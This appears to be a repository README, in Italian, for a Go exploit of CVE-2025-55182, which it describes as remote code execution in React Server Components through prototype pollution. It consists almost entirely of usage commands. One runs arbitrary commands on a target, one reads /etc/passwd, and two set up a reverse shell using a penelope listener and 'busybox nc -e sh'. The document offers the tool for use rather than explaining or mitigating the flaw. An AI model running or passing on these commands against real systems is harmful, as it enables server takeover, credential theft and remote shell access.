w3nch/cve-2025-55182-in-goExploit basato su Go per CVE-2025-55182, che consente l'esecuzione di codice remoto in React Server Components tramite inquinamento del prototipo. Supporta l'esecuzione arbitraria di comandi e payload di reverse shell.
Exploit per RCE in React Server Components tramite prototype pollution.
go run main.go -t <target> -c <command>
go run main.go -t http://127.0.0.1 -c "id"
go run main.go -t http://127.0.0.1 -c "ls -la"
go run main.go -t http://127.0.0.1 -c "cat /etc/passwd"
Configurazione della reverse shell
penelope -i 0.0.0.0 -p 1337
Usa busybox:
go run main.go -t http://127.0.0.1 -c "busybox nc 127.0.0.1 1337 -e sh"
go build -o exploit .